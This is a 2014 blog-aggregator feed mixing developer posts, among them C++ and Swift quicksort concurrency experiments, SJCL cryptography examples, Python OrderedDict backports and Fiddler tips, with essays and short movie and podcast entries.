Our tour of Fiddler has covered a lot of ground so far, and while there's still more to cover, I'm going to have to let you in on a secret before we can continue. The UI is definitely powerful, but here's the thing: it's not the killer feature. The real killer feature is FiddlerScript. Getting Started Fiddler already detects invalid requests and broken responses. What more could we possibly add, you might ask.

SSH::Batch - Simple remote shell commands

Brightball Articles — Tue, 16 Sep 2014 04:10:00 GMT

SSH::Batch is a simple command line tool, written in Perl, that allows you to run shell commands over SSH across multiple servers. These days it seems most people turn to Puppet / Chef / Ansible for that type of thing, but sometimes your needs aren't that complicated. For that, SSH::Batch fills the gap nicely and it's really simple to get started.

Ordered Dictionaries with Python 2.4-2.6

Nicola Iarocci — Tue, 16 Sep 2014 03:00:00 GMT

OrderedDict is a super handy data structure.

An OrderedDict is a dict that remembers the order that keys were first inserted. If a new entry overwrites an existing entry, the original insertion position is left unchanged. Deleting an entry and reinserting it will move it to the end.

Problem is, this stuff is only available in the standard library since Python 2.7 while my project also needs to support Python 2.6. Fortunately there’s a back-port available and it is only a pip install away:

# make OrderedDict available on Python 2.6-2.4
$ pip install ordereddict

ordereddict is based on the awesome recipe by Raymond Hettinger, works with Python 2.4-2.6 and, most importantly, is a drop-in replacement for OrderedDict.

However if you want your code to run seamlessly on all Pythons there’s still some work to be done. First of all you want to make sure that the appropriate OrderedDict is imported, either the standard library version (for Python 2.7 and above) or the back-port release.

CSV To Markdown Table Generator

Donat Studios — Mon, 15 Sep 2014 05:37:12 GMT

Update July 8, 2019: Added more graceful pipe | and backslash \ handling.

While doing code reviews on GitHub I find myself profiling a lot of SQL queries, getting EXPLAIN output into a markdown format for GitHub became very important, and was a huge pain to do by hand.

While there were tools out there, nothing I could easily copy and paste tab seperated query results into, so I created this. The markdown this outputs should work with most table supporting Markdowns flavors such as Markdown Extra and GitHub Flavored Markdown.

The default tab separated setting is very useful for pasting straight from Excel or other tabular data sources like SQL editors.

Fork my source on GitHub!

Caveat - while it does essentially parse CSV it is not quotation mark aware. If need or demand arises I may look into it.

The script is available on GitHub and is Node.js ready. More details can be found on GitHub. It is also available via npm.

This Week in Podcasts

Zac Szewczyk — Sun, 14 Sep 2014 22:03:01 GMT

This week we see the return of my favorite podcast, Roderick on the Line, to this list with an even better episode than usual. Also making an appearance we have The Campfire Project, Exponent, and Grit; a fantastic roster, if I do say so myself.

Permalink.

Concurrency: Getting started

Whacky Labs — Sun, 14 Sep 2014 20:58:54 GMT

The time everybody was speculating for so long has finally arrived. The processors aren’t getting any faster. The processors are hitting the physical thresholds. If we try to run the processors, as they are with current technology, they’re getting over-heated. Moore’s law is breaking down. Quoting Herb Sutter, ‘The free lunch is over‘.

If you want your code to run faster on new generation of hardware, you have to consider concurrency. All modern computing devices have multi-cores in built. More and more languages, toolkits, libraries, frameworks are providing support of concurrency. Let’s talk about concurrency.

Starting from today, I’ll be experimenting with multithreading. I’ll be using the following technologies. First is the C++11 thread library that ships with the C++11 standard. Second is the libdispatch or Grand Central Dispatch (GCD) that is developed by Apple. Although, GCD isn’t a pure threading library. It’s more of a concurrency library that is built over threads. In GCD we normally think in terms of tasks and queues. It’s a level above threads. And, the third is NSOperation. NSOperation is another level up from GCD. NSOperation is pure OOP oriented concurrency API. I’ve used it quite often with Objective-C and I’m sure it works as smoothly with Swift.

Let’s start with our first experiment. Dividing a huge task into smaller chunks and let them run in parallel to each other.

So, first question, what task should we pick. Let’s pick sorting of a dataset. Lets say, we’ve an huge array and we want to sort it. We could do it using the famous Quicksort algorithm as:

    template<typename T>
    void QuickSort(std::vector<T> &arr, const size_t left, const size_t right)
    {
        if (left >= right) {
            return;
        }
        
        /* move pivot to left */
        std::swap(arr[left], arr[(left+right)/2]);
        size_t last = left;
        
        /* swap all lesser elements */
        for (size_t i = left+1; i <= right; ++i) {
            if (arr[i] < arr[left]) {
                std::swap(arr[++last], arr[i]);
            }
        }
        
        /* move pivot back */
        std::swap(arr[left], arr[last]);

        /* sort subarrays */
        QuickSort(arr, left, last);
        QuickSort(arr, last+1, right);
    }

The algorithm is pretty straightforward. Given a list of unsorted data, in each iteration we pick a pivot element and sort that element by moving all smaller elements on the left side and all larger elements on right. By the end of the iteration, our pivot element is in the sorted position with we have two unsorted subarrays.

This algorithm is a prefect pick for concurrency. As in each iteration we get our problem divided into two independent sub problems that we can easily execute in parallel.

Here’s my first approach:

    template<typename T>
    void QuickerSort(std::vector<T> &arr, const size_t left, const size_t right)
    {
        if (left >= right) {
            return;
        }
        
        /* move pivot to left */
        std::swap(arr[left], arr[(left+right)/2]);
        size_t last = left;
        
        /* swap all lesser elements */
        for (size_t i = left+1; i <= right; ++i) {
            if (arr[i] < arr[left]) {
                std::swap(arr[++last], arr[i]);
            }
        }
        
        /* move pivot back */
        std::swap(arr[left], arr[last]);
        
        /* sort subarrays in parallel */
        auto taskLeft = std::async(QuickerSort<T>, std::ref(arr), left, last);
        auto taskRight = std::async(QuickerSort<T>, std::ref(arr), last+1, right);
    }

And here’s my calling code:

template <typename T>
void UseQuickSort(std::vector<T> arr)
{
    clock_t start, end;
    start = clock();
    QuickSort(arr, 0, arr.size() - 1);
    end = clock();
    std::cout << "QuickSort: " << (end - start) * 1000.0/double(CLOCKS_PER_SEC) << "ms" << std::endl;
    assert(IsSorted(arr));
}

template <typename T>
void UseQuickerSort(std::vector<T> arr)
{
    clock_t start, end;
    start = clock();
    auto bgTask = std::async(QuickerSort<T>, std::ref(arr), 0, arr.size()-1);
    if (bgTask.wait_for(std::chrono::seconds(0)) != std::future_status::deferred) {
        while (bgTask.wait_for(std::chrono::seconds(0)) != std::future_status::ready) {
            std::this_thread::yield();
        }
        assert(IsSorted(arr));
        end = clock();
        std::cout << "QuickerSort: " << (end - start) * 1000.0/double(CLOCKS_PER_SEC) << "ms" << std::endl;
    }
}

void main()
{
    
    std::vector<int> arr;
    for (int i = 0; i < 100; ++i) {
        arr.push_back(rand()%10000);
    }

    UseQuickSort(arr);
    UseQuickerSort(arr);
}

I’ve added some code to profile how long does each of these tasks take to execute the data set. The dataset of 100 elements executes on my machine as:

QuickSort: 0.023ms
QuickerSort: 29.12ms

As you can see, the concurrent code takes a lot longer to execute than the single threaded one. One guess could be that the creating thread for each subproblem and them the extra load of context switching between the threads could be the reason behind the latency. Or you could also suggest that there are huge flaws in my implementation.

I accept, there could be huge flaws in my implementation, as this is my first take at core multi-threading with C++ thread library. But, still we can’t ignore the fact that we’re spawning a lot of threads with each iteration. The number of threads running concurrent at each iteration are getting added by a factor of 2. This implementation definitely needs to be improved.

This is where GCD shines. First of all, it’s easier to begin with. Keep in mind I’ve equal amount of experience with both the libraries. So, my code should be full of bugs and most probably I’m not using them in the best possible way. But, this is all part of the test and my experiments.

Anyhow, when I implement the same problem using Swift and GCD, like so:

import UIKit

// MARK: Common

func isSorted(array:[Int]) -> Bool
{
    for (var i = 1; i < array.count; ++i) {
        if (array[i] < array[i-1]) {
            println("Fail case: \(array[i]) > \(array[i-1])")
            return false
        }
    }
    return true
}

//MARK: Quick Sort

func quickSort(inout array:[Int], left:Int, right:Int)
{
    if (left >= right) {
        return;
    }
    
    /* swap pivot to front */
    swap(&array[left], &array[(left+right)/2])
    var last:Int = left;
    
    /* swap lesser to front */
    for (var i = left+1; i <= right; ++i) {
        if (array[i] < array[left]) {
            swap(&array[i], &array[++last])
        }
    }
    
    /* swap pivot back */
    swap(&array[left], &array[last])
    
    /* sort subarrays */
    quickSort(&array, left, last)
    quickSort(&array, last+1, right)
}

func useQuickSort(var array:[Int])
{
    let start:clock_t = clock();
    quickSort(&array, 0, array.count-1)
    let end:clock_t = clock();
    
    println("quickSort: \((end-start)*1000/clock_t(CLOCKS_PER_SEC)) ms")
    assert(isSorted(array), "quickSort: Array not sorted");
}

//MARK: Quicker Sort

let sortQueue = dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_BACKGROUND, 0)


func quickerSort(inout array:[Int], left:Int, right:Int)
{
    if (left >= right) {
        return;
    }
    
    /* swap pivot to front */
    swap(&array[left], &array[(left+right)/2])
    var last:Int = left;
    
    /* swap lesser to front */
    for (var i = left+1; i <= right; ++i) {
        if (array[i] < array[left]) {
            swap(&array[i], &array[++last])
        }
    }
    
    /* swap pivot back */
    swap(&array[left], &array[last])
    
    /* sort subarrays */
    dispatch_sync(sortQueue, { () -> Void in
        quickSort(&array, left, last)
    })
    dispatch_sync(sortQueue, { () -> Void in
        quickSort(&array, last+1, right)
    })
}

func useQuickerSort(var array:[Int])
{

    let start:clock_t = clock();

    dispatch_sync(sortQueue, { () -> Void in
        quickerSort(&array, 0, array.count-1)

        let end:clock_t = clock();
        println("quickerSort: \((end-start)*1000/clock_t(CLOCKS_PER_SEC)) ms")
        
        assert(isSorted(array), "quickerSort: Array not sorted");

    })
}

// MARK: Main

var arr:[Int] = []
for (var i = 0; i < 20; ++i) {
    arr.append(Int(rand())%100);
}


useQuickSort(arr)
useQuickerSort(arr)

I get the following result:

quickSort: 784 ms
quickerSort: 772 ms

You obviously tell that the same implementation in Swift is quite slower than in C++, but that’s not the point. We’re not experimenting C++ vs Swift, but single thread vs multiple threads. And using GCD, we see quite a small improvement, even though our test case is so small. This is most probably because we’re not manually handling the thread management ourselves anymore. We simply let the dispatch_queue handle the thread management.

The sunshine of todays experiment is that if we make good use of multi threading, we have a lot of potential for getting a large improvements. And, this is more than enough to motivate me to dive further down the concurrency rabbit hole.

The source code for this experiment is available at the GitHub repository: https://github.com/chunkyguy/ConcurrencyExperiments

Video: SQL vs NoSQL Discussion at UpstatePHP

Brightball Articles — Sun, 14 Sep 2014 03:12:15 GMT

Here's the video from the August UpstatePHP meeting in Greenville discussing SQL vs NoSQL and where they are useful for your development process. I represented SQL solutions (*cough* PostgreSQL *cough*) while Benjamin Young represented NoSQL. Ben has actively contributed to CouchDB, worked for Cloudant, Couchbase, organizes the REST Fest Unconference (happening again September 25-27th) and is the owner of Big Blue Hat. I am a gainfully employed programmer...so...there's that.

There Will Be Blood

🦉 olshansky 🦁 — Sat, 13 Sep 2014 16:34:37 GMT

Olshansky's review of There Will Be Blood

And we're back

Liza Shulyayeva — Sat, 13 Sep 2014 13:32:36 GMT

I took a one-month break from Gastropoda to participate in the JS13kGames challenge with a tiny game called Breaking Brad

But now it’s back to simulations! It’s taking me a while to remember where exactly I left off with Gastropoda last month, but now I think it’s time to figure out how to calculate a snail’s position within a jar. This is important because each snail will detect other objects (items, snails, etc) differently based on its senses. I have to have an actual location for both objects and snails. Right now I’m setting a position randomly when a snail is hatched in a jar, but I have to decide how I’m going to update this position as it crawls. Currently snails crawl at random on HTML5 canvas - they are already starting their crawl from their DB position, but pick direction randomly and then move back and forth across the screen using their speed attribute. So far all I have are some random notes:

Neighbors

🦉 olshansky 🦁 — Sat, 13 Sep 2014 13:18:18 GMT

Olshansky's review of Neighbors

Happy Programmers’ Day!

code · words · emotions: Daniel Janus’s blog — Sat, 13 Sep 2014 03:00:00 GMT

Happy Programmers’ Day, everyone!

A feast isn’t a feast, though, until it has a proper way of celebrating it. The Pi Day, for instance, has one: you eat a pie (preferably exactly at 1:59:26.535am), but I haven’t heard of any way of celebrating the Programmers’ Day, so I had to invent one. An obvious way would be to write a program, preferably a non-trivial one, but that requires time and dedication, which not everyone is able to readily spare.

So here’s my idea: on Programmers’ Day, dust off a program that you wrote some time ago — something that is just lying around in some far corner of your hard disk, that you haven’t looked at in years, but that you had fun writing — and put it on GitHub for all the world to see, to share the joy of programming.

Let me initialize the new tradition by doing this myself. Here’s HAZE, the Haskellish Abominable Z-machine Emulator. It was my final assignment for a course in Advanced Functional Programming, in my fourth year at the Uni, way back in 2004. It is an emulator for an ancient kind of virtual machine, the Z-machine, written from scratch in Haskell. It allows you to play text adventure games, such as Zork, much in the vein of Frotz. It’s not very complete, and supports versions of the Z-machine up to 3 only, so newer games won’t run on it as it stands, but Zork is playable.

It probably won’t even compile in modern Haskell systems: it was originally written for GHC version 6.2.1, and extensively uses the FiniteMap data type, which was obsoleted shortly after and is no longer found in modern systems. I should have Linux and Windows binaries lying around (yes, I had compiled it under Windows, using MinGW/PDCurses); I’ll put them on GitHub once I find them.

My mind now wanders ten years back in time, to the days when I was writing it. It took me about three summer weeks to write HAZE from scratch, most of that time on a slow laptop where it took quite a lot of seconds to get GHC to compile even a simple thing. I would do some of it differently if I were doing it now — for one, the state of a ZMachine is a central datatype to HAZE, and you’ll find a lot of functions that take and return ZMachines, so a state monad is an obvious choice; I didn’t understand monads well enough back then. But I still remember how I had the framework in place already and I was adding implementations of Z-code opcodes, one by one, to ZMachine/ZCode/Impl.hs, recompiling, rerunning, getting messages about unimplemented opcodes, when all of a sudden I got the familiar message about a white house and a small mailbox. Freude!

I hope you enjoy looking at it at least half as much as I had enjoyed writing it.

Flight-booking bookmarks

xenodium.com @alvaro — Fri, 12 Sep 2014 03:00:00 GMT

Bookmarklets

Donat Studios — Thu, 11 Sep 2014 07:10:05 GMT

This is just a small collection of Bookmarklets I personally find useful. To use them simply click and drag them into your Bookmarks bar.

Disable HTML 5 Validation

Clicking this will disable html5 validation for all form elements on the page. Useful for testing server side validation while leaving HTML 5 validation in place.

Element Count

Clicking this will provide a count of the number of elements on the page in an alert box.

Resetting gnome-terminal preferences

xenodium.com @alvaro — Thu, 11 Sep 2014 03:00:00 GMT

Resetting preferences

gconftool --recursive-unset /apps/gnome-terminal

Want 256 colors?

Edit .bash_profile

export TERM="screen-256color"

Ensure .bash_profile is loaded

From gnome-terminal window:

gnome-terminal Edit Profiles… Edit Title and Command X Run command as login shell

Solarized

Bonus: See post to get solarized on gnome-terminal.

How to Name Things

june.kim — Thu, 11 Sep 2014 03:00:00 GMT

Tourism Improved

Playground — Thu, 11 Sep 2014 03:00:00 GMT

####Problem statement India is one of the countries having a diverse cultural heritage and thus a wide variety of tourist places. Some of those are still not up to their full potential to be a contributing factor to the India’s economy like other recognized tourist spots. Our tool is focused on the improvement of same tourist places in India which have potential to generate a very good revenue but not generating it. Improvement is suggested on the basis of the previous data of the famous tourist places and present data of the tourist place to be improved.

Pokemon Black

Zac Szewczyk — Wed, 10 Sep 2014 18:59:28 GMT

I came across this story thanks to Polygon’s refutation of the mod’s existence, but fortunately thought to read the original article over at Tiny Cartridge first — as I would recommend you do as well. “Creepy” barely scratches the surface of this haunting tale. Especially if you, like me, grew up loving Pokemon, I encourage you to take a few minutes and read this story; it’s remarkably well-done.

Permalink.

Rails Gems to Unlock Advanced PostgreSQL Features

Brightball Articles — Wed, 10 Sep 2014 04:47:00 GMT

If you've spent any amount of time on this site you may have noticed that I'm fond of PostgreSQL...and Ruby on Rails...and that I dislike the general trend among Rails developers to ignore all of the amazing features in PostgreSQL that make your application better in favor of risking data integrity just so that all logic can remain in Rails. So here's my top collection of Rails gems to get at all that untapped power in PostgreSQL that you didn't know you had.

Getting to Know Fiddler: Part V: Make Fiddler even more powerful by adding extensions

Joshua Rogers — Tue, 09 Sep 2014 15:00:00 GMT

The more time I spend examining Fiddler, the more and more impressed I am. Not only is it feature rich out of the box, but it includes a number of mechanism to easily extend it. This week we're going to focus on the easiest way to add new functionality: installing new plugins. All of the following plugins are available at Telerik.com. I highly recommend installing them. JavaScript Formatter The first plugin, and my personal favorite, was introduced to me a few years ago by Joey Robichaud.

Legitimate Text Processing

Zac Szewczyk — Tue, 09 Sep 2014 14:56:01 GMT

As usual, a great post by Joe Steel over at Unauthoritative Pronouncements where he tackles the now-inflammatory issue of Markdown and its numerous variants, and goes on to explain why he cannot get behind Jeff Atwood’s “Standard Markdown” — later renamed to “Common Markdown”, and then finally “CommonMark” — play. I completely agree with every point Joe made. However, I will say that although I do agree with Joe, I cannot get behind the undertone vilifying Jeff Atwood running beneath a number of the articles I have read on this topic. If Jeff’s latest blog post is anything to go by, he meant no offense in the first place. In fact, Jeff gave John Gruber multiple opportunities to express any issues with any aspect of his project, but John could not be bothered to respond. As Carl Holscher pointed out, adults should have acted like adults to begin with, aired their grievances promptly and privately, and then proceeded with an interesting project sans the drama. Act your age, and not your font size.

Permalink.

A Tale of Two Markdowns

Zac Szewczyk — Tue, 09 Sep 2014 14:55:59 GMT

Possible the only impartial take on the recent Markdown flareup you will find anywhere, Sid O’Neill took this opportunity to make a great work of prose rather than a declaration of support in favor of one side or the other. Take this opportunity to enjoy an article for the excellent craft it contains, rather than the point it attempts to make.

Permalink.

Short Introduction to SJCL

pera's blog — Tue, 09 Sep 2014 03:00:00 GMT

The Stanford Javascript Crypto Library, or simply SJCL, is probably the best option available right now for using cryptography on the client-side: the project started in 2009 as a paper describing how to implement a secure and fast crypto library for web browsers, including, for instance, a CSPRNG algorithm and symmetric encryption. Today, it also has public-key crypto, hashing, and ECC primitives. It’s very small (just 37kb uncompressed w/ ECC), the code is pretty clean, and it’s being maintained by various contributors on GitHub. One of the biggest problems right now is the auto-generated documentation, which isn’t super helpful, but that’s not a big deal since you can always read the sources.

Let’s start with a very simple example using the convenience functions to easily encrypt and decrypt data (using AES):

var msg = sjcl.encrypt("secret", "Hi Alice!");
console.log(sjcl.decrypt("secret", msg));

That was pretty simple. Let’s try something different, like hashing a string using SHA-256:

var hash = sjcl.hash.sha256.hash("hello world");
console.log("hash: "+sjcl.codec.hex.fromBits(hash));
// It should print: "hash: b94d27b9934d3e08a52e52d7da7dabfac484efe37a5380ee9088f7ace2efcde9"

SJCL has many ADTs. In this case myhash is an array of 8 numbers (in js this is 64 bits floats) but it’s actually holding binary data (using just 32 bits for each number), so SJCL provides functions to convert, for example, from a binary array to a string in hexadecimal format.

For the next example, I would like to use some elliptic curve cryptography, but to do that we need to build SJCL first to enable this option:

$ git clone https://github.com/bitwiseshiftleft/sjcl.git sjcl
$ cd sjcl
$ ./configure --with-ecc
$ make

Now with our custom sjcl.js we can use the ECC primitives like DSA. So let’s sign the previous hash:

// Generate a key pair and use it to sign the SHA-256 hash
var curve = sjcl.ecc.curves.k256;
var keys = sjcl.ecc.ecdsa.generateKeys(curve,6); // 6 is actually the default paranoia, so you can omit that
var signature = keys.sec.sign(hash);

// Extract the coordinates of the public point and create a public key object for testing
var pubkey_x = new curve.field(sjcl.bn.fromBits(keys.pub.get().x));
var pubkey_y = new curve.field(sjcl.bn.fromBits(keys.pub.get().y));
var point = new sjcl.ecc.point(curve, pubkey_x, pubkey_y);
var newpubkey = new sjcl.ecc.ecdsa.publicKey(curve, point);

// Print the signature and verify it
console.log("sign: "+sjcl.codec.base64.fromBits(signature));
console.log("verified: "+newpubkey.verify(hash, signature));

Obviously we didn’t need to create a new public key object to verify the signature, but I wanted to show how to obtain the public point. Finally, here is how we can serialize the public key (a point in the curve) and the private key (the exponent):

var pubkey_hex = sjcl.codec.hex.fromBits(keys.pub.get().x) + sjcl.codec.hex.fromBits(keys.pub.get().y);
var seckey_hex = sjcl.codec.hex.fromBits(keys.sec.get());

// Unserialize and create a public key object (SJCL will divide the binary array in two parts and get each coordinate)
var public_key = new sjcl.ecc.ecdsa.publicKey(curve, sjcl.codec.hex.toBits(pubkey_hex));

// Unserialize and create a private key object (we have to create a bignum object)
var secret_key_bn = new sjcl.bn(seckey_hex);
var secret_key = new sjcl.ecc.ecdsa.secretKey(curve, secret_key_bn);

There is a branch that already includes functions for serialization, so this method will be deprecated in the future.

The Great Facade

Zac Szewczyk — Mon, 08 Sep 2014 11:30:26 GMT

Every day like clockwork, I copy a small text file out of a staging directory. Shortly thereafter, a Python script pulls the contents of that file out, parses it, and then places each line into a webpage that then gets pushed up to a server managed by a good friend of mine. Within a few seconds of that page going live, the handy Bitly bookmarklet gives me a shortened URL that I then send out to the world thanks to the magic of Tweetbot.

Permalink.

From WordPress To Jekyll

KernelCurry — Mon, 08 Sep 2014 03:00:00 GMT

Pros and Cons

There are lots of pros and cons when it comes to WordPress vs Jekyll. After looking through this list you might decide that Jekyll is not for you, and that is fine. Just remember that every tool is used for different tasks and neither WordPress nor Jekyll can be declared “better” as they are both good in different situations.

Jekyll Pros

Speed : No PHP is called or needs to be executed. A static HTML page is served and that removes a lot of overhead on the server.
Free Hosting : Jekyll sites can be hosted on GitHub for free. (This site is hosted on GitHub)
Markdown Pages / Posts : All pages and posts can be written in Markdown.

Jekyll Cons

No back-end or WYSIWYG : Everything is created / edited in a text editor.
No user management : Unless you count GitHub user management.
Not as many plugins : Many do exist, but they are not in a central repository like WordPress.

I am sure there are hundreds of other pros and cons that could be listed, but I am trying to keep it simple. If there is something huge I missed, please send me a tweet and I will get it added.

Body rocket science

D13V — Mon, 08 Sep 2014 03:00:00 GMT

We come into life in a body. We have to take care of our body whether we like it or not. If we don’t take care, we are out of life. Simple. Our bodies are liabilities to us. They demand payment of food, excercise, shower, sex, warmth. If we don’t pay our due in time they enforce-collect it. They control of our mind and drive us crazy until they get their payment.

Their demands aren’t the same to every person. Athletes’ body demands much more exercise than the body of a couch potato. But then, athlete’s body can handle more stress and load than the body of the couch potato. As a result, the athlete has higher freedom, they can afford running to a given destination to save time, they can afford carrying a heavy load for longer without breaking a sweat, they can reach more remote locations and they can climb out of a hole. Depending on the situation, the greater body performance might be the difference between low and high price, between catching and missing an important train, between life and death.

Everything else being equal, a better maintained body should theoretically last longer. If I had to bet between two twins, with identical genes, but different behavior who would have longer life, I’d bet on the one that smokes and drinks less, the one that eats more vegetables, but less food overall, the one that regularly exercises and stretches.

I might lose my bet. The “healthier” twin might get into an accident and die, or they might just get unlucky and get cancer, or a virus. There are many different things that affect our lifespan and how we treat our bodies is just one small part of it. I care to live longer but I don’t want to obsess over each detail about how my body works. If I do it, then I might reach longer living existence, but I wouldn’t really enjoy my time better, or achieve more.

Our body is a liability, but it isn’t what makes us what we are. While I enjoy pushing my body’s endurance limits by doing long runs and bike rides, I want to measure myself not by the size of my biceps or by how long I have pedaled in a single day, but by mental challenges I’ve overcome and by things I’ve created. In such psychological challenges the body plays a supporting role. It is necessary to have my body in a condition that doesn’t distract me from my mental challenge, but it plays very little role in achieving the challenge. Its main role is that it gets out of the way. The support from the body might come not only in lack of complaint and distraction. The body can take some long term damage in order to support short term boost for the brain.

Caffeine. It is a drug. It provides mental boost. It is legal. It comes in tasty package. Cappucino, latte, green or black tea can bring me to life when I feel like a zombie. Caffeine probably also has some long term damaging effect. But I doubt it is anywhere as bad as alcohol. I haven’t done the research. But I’ve decided that at least for a while it will be a vice I indulge in. Because I’ve voluntarily lived without it for a while, about a month, and I felt lower mental power. I wasn’t as good at thinking, focusing and doing work without it. I was OK but wasn’t at my best. If caffeine shortens my life expectation a little bit, but allows me to have much better life meanwhile, then why, I’ll keep doing it. This is my cost benefit analysis.

At the end of the day, it is rocket science. Literally. My body is the fuel that propels me forward. If I use it wisely it will last a long time. But if I don’t burn ([1]) it when I need to, I would never reach escape velocity.

[1] - no BurningMan pun intended. I haven’t been there but it sounds fun. I want to do it some day but it is not the point of the essay.

The Art of Designing Softwares

Whacky Labs — Sun, 07 Sep 2014 20:58:54 GMT

When I was in college, my vision of a software was like, we have a problem and we need a solution, a program, a set of instructions, that has to be executed by the computer in order to solve that particular problem. For example, design a program to print a Fibonacci series using loops, recursion, implement with an array, a doubly linked list, an AVL tree.

Then there are these programming challenges like the Facebook Hacker Cup, or the Google CodeJam, that just focus on how strong are you at understanding and implementing common algorithms and data structures, or can you design your own data structures and algorithms?

And, there is nothing wrong with that, but just that writing softwares isn’t just about designing algorithms or data structures, as one eventually discovers.

When I got my first job as an iOS developer, and start writing softwares at the enterprise levels. First thing I realized was that, the solution space is no longer just a set of instructions in a single file, but it is split into hundreds if not thousands of files. I realized that writing softwares is no longer just about algorithms and data structures. In fact, almost all of the interesting algorithms and data structures are either already solved and ready to use for your existing code, or nobody really cares about them as the first priority. There is a high probability that the programming languages of your choice is already bundled with all common data structures and algorithms you’ll ever need.

As a software engineer, most of the time I was working on managing the flow of data and control. The actual work seemed more close to plumbing, where instead of fluids one manages the flow of electrons through the hardware. Initially I was somewhat shocked to see that the iOS framework provides just three data structures, NSArray, NSDictionary and NSSet*. Thats it!

(maybe also NSMapTable, NSHashTable, NSCountedSet, NSPointerArray,… but let’s assume we haven’t heard of them)

What is software engineering?

For me software engineering is more about understanding the problem at a higher level. It is half part how good you’re at designing the flow yourself and half part, how good are you at reusing the existing solutions written by others.

Part 1: The design space The design space deals with problems like:

How do I want the UI to be? How do I manage downloading of multiple files in background even after my application has been quit? How do I keep the memory used by the application in control? What happens, when I actually run out of memory? How do I confirm that the code is just wrote, is going to pass all edge cases at all times? Part 2: The integration space The integration space deals with problems like:

How do I use the code I had written some time back to solve a similar problem? How do I design this code, so that it could be used next time I face a similar problem? Has someone already tackled a problem similar to mine? If yes, how can I use their solution? Of these two subspaces, the design space seems easier, because you’re taught this at college level and you’re in total control of the design. The integration space is hard, and by hard I mean really hard. At a first few attempts, you might seriously consider skipping the integration and try moving it to the comfortable design space, i.e., reinvent the wheel.

But, the reality is that you can’t always design your own solutions. Maybe you’re working with an organization that already has codebase of solutions that has to be used; Or your other teammate is solving the problem in parallel; Or maybe the solution is already written out years ago and has been used and maintained for a really long time. Not to mention the time constraints with the design space.

With my years of development, I’ve come to realization that almost all the problems are already solved or there are people already working on it. If you think, you are the only one working on it, you’re most definitely wrong. (If not, please add me to your project).

I bigger challenge then is, how to use the solution written by others, or by you some time ago? The main problem is that the problem could have been solved in some other context, or maybe it was not thought out enough. There could also be some flaws in the basic design, like the existing solution is not thread safe.

At the even higher level, a software can be written in two ways. Bottom-up or Top-down.

Bottom-up approach

Think of a problem where you have to design a car, in software that is. One of the ways you can design a car is, break down it into smaller tasks.

Design the tire. Design the body. Design the engine. Here each step is recursive in itself, as the designing the engine would be again broken down further until you reach an atomic task that can not be broken down any further. You start working on those pieces and at then assemble them all back into places, and you have a car.

This solution has many benefits like, you can easily assign tasks between team members, and can almost work independently on them. Also, it is easier to design for the future this way, as when you’re working on designing the tires, you’re just focused on designing the tires that should fit all known use cases.

The main problem with bottom-up approach is, you need to be a good future-seeker. Whatever solutions you’re designing, should fall into place perfectly. Say on the final assembly day you realize the sockets on the body are not big enough to hold the tires. Also, as one can tell, bottom-up approach is more time consuming, because you’re designing for the unknown future. Imagine, your car has to perform well on all sort of geographical terrains. Most of the time you might even end up thinking too forward and design for the year 2056, while your solution would become obsolete in next 3 months. Try talking to all those who wrote great solutions with NSThread before Apple rolled GCD. And don’t forget the time constraints, your boss, teammates, consumers are always pressurizing you to release it already.

Top down approach

Think of the same problem of designing the car, but this time you’re working top down. You don’t actually care about the year 2056, but just this day. You start with a giant piece of metal and a empty notepad.

Then you start carving the metal block into the car. When you get to carving out the left tire, you might realize you’ve already done something similar. Then, you realize, yes sometime back you designed the right tire and this feels almost similar. So, you just apply the same procedure again and as your car comes to finish. With top-down approach often you might feel like the amount of work getting reduced with each iteration.

The problems with top-down approach are that, it’s really hard to work with a big team, because you’re blank at the beginning, so you can not assign tasks. Most of the time you need to start alone, and bring in more teammates as you progress.

The main differences between the two approaches are:

Top-down feels more like looking into the past while bottom-up is more into looking into the future. Top-down solves the same problem in lesser time than bottom-up. Top-down is not as future safe as bottom-up. Imagine a request to add a radio in the car. With bottom-up an engineer might have already thought about something similar and kept a ‘future’ slot, but with top-down you need to carve a hole and move internal stuff until you just get the radio working. At the end of the day, top-down seems to taking you more closer to the end product, while bottom-up still seems uncertain until the final assembly. What approach you pick actually depends on the task you’re solving. If you designing a framework or a library that has to be used by others or by you in the future, and have a lot of time at your hands, go for the bottom-up.

If you’re designing the end product, where time is limited. Maybe your product is eventually going to end up in garbage in 2 years, go with top down.

Another approach that can be tried is the hybrid approach, where you break the original task into smaller chunks using the bottom-up approach. Assign each sub problem to each teammate and then work on each sub problem with top-down approach in parallel until the final assembly.

This Week in Podcasts

Zac Szewczyk — Sun, 07 Sep 2014 20:28:50 GMT

Coming back from a week without podcasts, I have two great episodes to showcase this time around. Here’s to fantastic podcasts, then, and their continued, well-deserved success.

Permalink.

Captain America: The Winter Soldier

🦉 olshansky 🦁 — Sun, 07 Sep 2014 18:34:36 GMT

Olshansky's review of Captain America: The Winter Soldier

Sleep is for Quitters

Train of Thought — Sun, 07 Sep 2014 03:00:00 GMT

I was a CS student long ago, but still remember the life. I’ve learned a lot since then and have a successful career. Perhaps I could have evolved much faster with a better initial understanding of this profession. Knowing the lessons I learned will help you avoid some of my mistakes.

Congratulations Adventurer

pera's blog — Sun, 07 Sep 2014 03:00:00 GMT

Your quest is at an end for you have reached the home of Peramides¹.

This is a personal blog about things I’ve learnt, discovered, thought, or that I just need to write down somewhere because I always forget them. It’s a spiritual successor of my old WordPress blog. I needed something fresh so I built this using Jekyll/Octopress (I almost chose Hakyll but its documentation was scarce and outdated, and I’m not really proficient in Haskell yet) and I’m hosting it with GitHub Pages. By the way, the current theme is a fork of CleanPress I made called CleanerPress; actually I wanted a Professor Doctor Style, but probably most visitors would have considered that something awful.

Having said that… My posts are not peer-reviewed and could be pretty opinionated at times. Also, English is not my first language, so expect syntactic, grammatical, and spelling errors. Finally, there is no comments section (and there will never be). Complaints? Please send me an e-mail to + at peramid.es.

So, I think that’s all. Welcome and enjoy your stay!

Peramides is a partial anagram of Parmenides, which includes the lexeme pera (i.e. pear in Spanish).↩︎

Serenity

🦉 olshansky 🦁 — Sat, 06 Sep 2014 15:36:34 GMT

Olshansky's review of Serenity

I Ghostwrite Chinese Students' Ivy League Admissions Essays

Zac Szewczyk — Sat, 06 Sep 2014 15:15:13 GMT

The idea that one could survive and prosper based on their merits alone is a comforting idea. If this story teaches us anything though, it teaches us that increasingly, it is nothing more than that — little more than a comforting notion in a world where mom and dad can open their wallets to make any door spring open before their baby. I signed eight years of my life away in exchange for a four-year education, and while I don’t regret that decision in the least, it’s remarkably disheartening to see others reap similar rewards in exchange for their father’s signature and a brief “Thanks.”

Permalink.

Screenshot Saturday 188

